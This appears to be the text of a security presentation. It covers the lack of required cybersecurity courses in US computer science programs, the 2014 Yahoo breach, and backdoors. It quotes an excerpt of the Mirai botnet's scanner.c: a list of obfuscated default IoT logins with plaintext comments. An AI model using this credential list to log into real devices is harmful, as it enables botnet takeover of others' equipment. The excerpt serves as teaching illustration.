

THE HARD PROBLEMS IN SECURITY


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Top US Undergraduate Computer Science Programs Skip Cybersecurity Classes

New study reveals that none of the top 10 US university computer science and engineering program degrees requires students take a cybersecurity course.

There's the cybersecurity skills gap, but a new study shows there's also a major cybersecurity education gap -- in the top US undergraduate computer science and engineering programs.

An analysis of the top 121 US university computer science and engineering programs found that none of the top 10 requires students take a cybersecurity class for their degree in computer science, and three of the top 10 don't offer any cybersecurity courses at all. The higher-education gap in cybersecurity

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GitHub, Inc. [US]https://github.com/jgamblin/Mirai-Source-Code/blob/6a5941be681b839eef8ece1de8b245bcd5ffb02/mirai/bot/scanner.c

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121 tcpph->syn = TRUE;
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123 // Set up passwords
124 add_auth_entry("\x50\x40\x40\x56", "\x5A\x41\x11\x17\x13\x13", 10); // root xc3511
125 add_auth_entry("\x50\x40\x40\x56", "\x54\x4B\x58\x5A\x54", 9); // root vizxv
126 add_auth_entry("\x50\x40\x40\x56", "\x43\x46\x4F\x4B\x4C", 8); // root admin
127 add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x43\x46\x4F\x4B\x4C", 7); // admin admin
128 add_auth_entry("\x50\x40\x40\x56", "\x1A\x1A\x1A\x1A\x1A\x1A", 6); // root 888888
129 add_auth_entry("\x50\x40\x40\x56", "\x5A\x4F\x4A\x46\x48\x52\x41", 5); // root xmhdipc
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132 add_auth_entry("\x50\x40\x40\x56", "\x13\x10\x11\x16\x17\x14", 5); // root 123456
133 add_auth_entry("\x50\x40\x40\x56", "\x17\x16\x11\x10\x13", 5); // root 54321
134 add_auth_entry("\x51\x57\x52\x52\x40\x50\x56", "\x51\x57\x52\x52\x40\x50\x56", 5); // support support
135 add_auth_entry("\x50\x40\x40\x56", "", 4); // root (none)
136 add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x52\x43\x51\x51\x55\x40\x50\x46", 4); // admin password
137 add_auth_entry("\x50\x40\x40\x56", "\x50\x40\x40\x56", 4); // root root
138 add_auth_entry("\x50\x40\x40\x56", "\x13\x10\x11\x16\x17", 4); // root 12345
139 add_auth_entry("\x57\x51\x47\x50", "\x57\x51\x47\x50", 3); // user user
140 add_auth_entry("\x43\x46\x4F\x4B\x4C", "", 3); // admin (none)
141 add_auth_entry("\x50\x40\x40\x56", "\x52\x43\x51\x51", 3); // root pass
142 add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x43\x46\x4F\x4B\x4C\x13\x10\x11\x16", 3); // admin admin1234
143 add_auth_entry("\x50\x40\x40\x56", "\x13\x13\x13\x13", 3); // root 1111
144 add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x51\x4F\x41\x43\x46\x4F\x4B\x4C", 3); // admin smcadmin
145 add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x13\x13\x13", 2); // admin 1111
146 add_auth_entry("\x50\x40\x40\x56", "\x14\x14\x14\x14\x14\x14", 2); // root 666666
147 add_auth_entry("\x50\x40\x40\x56", "\x52\x43\x51\x51\x55\x40\x50\x46", 2); // root password
148 add_auth_entry("\x50\x40\x40\x56", "\x13\x10\x11\x16", 2); // root 1234
149 add_auth_entry("\x50\x40\x40\x56", "\x49\x4E\x54\x13\x10\x11", 1); // root klv123
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www.nytimes.com/2016/09/23/technology/yahoo-hackers.html?_r=0

TECHNOLOGY | Yahoo Says Hackers Stole Data on 500 Million Users in 2014

Changing Yahoo passwords will be just the start for many users. They'll also have to comb through other services to make sure passwords used on those sites aren't too similar to what they were using on Yahoo. And if they weren't doing so already, they'll have to treat everything they receive online with an abundance of suspicion, in case hackers are trying to trick them out of even more information.

The company said as much in an email to users that warned it was invalidating existing security questions — things like your mother's maiden name or the name of the street you grew up on — and asked users to change their passwords. Yahoo also said it was working with law enforcement in their investigation and encouraged people to change up the security on other online accounts and monitor those accounts for suspicious activity as well.

THE MOST COMMON CYBER ATTACKS AND ISSUES ARE THE MOST DIFFICULT TO SOLVE TOO

- Phishing and social engineering
- SQL Injection
- Password reuse
- Distributed Denial of Service (DDoS)
- Attribution
- Writing secure code
- Policy

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Where we fail

- Algorithms & Protocols
(sometimes)
- Engineering & Implementation
(often)
- Systems & Applications
(almost always)

SO WHAT OPTIONS DO WE HAVE?

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We are in a national cybersecurity crisis

- Backdoors break the only two proven tools we have to secure infrastructure
- Crypto
- Simplicity
- Backdoors are easily evaded

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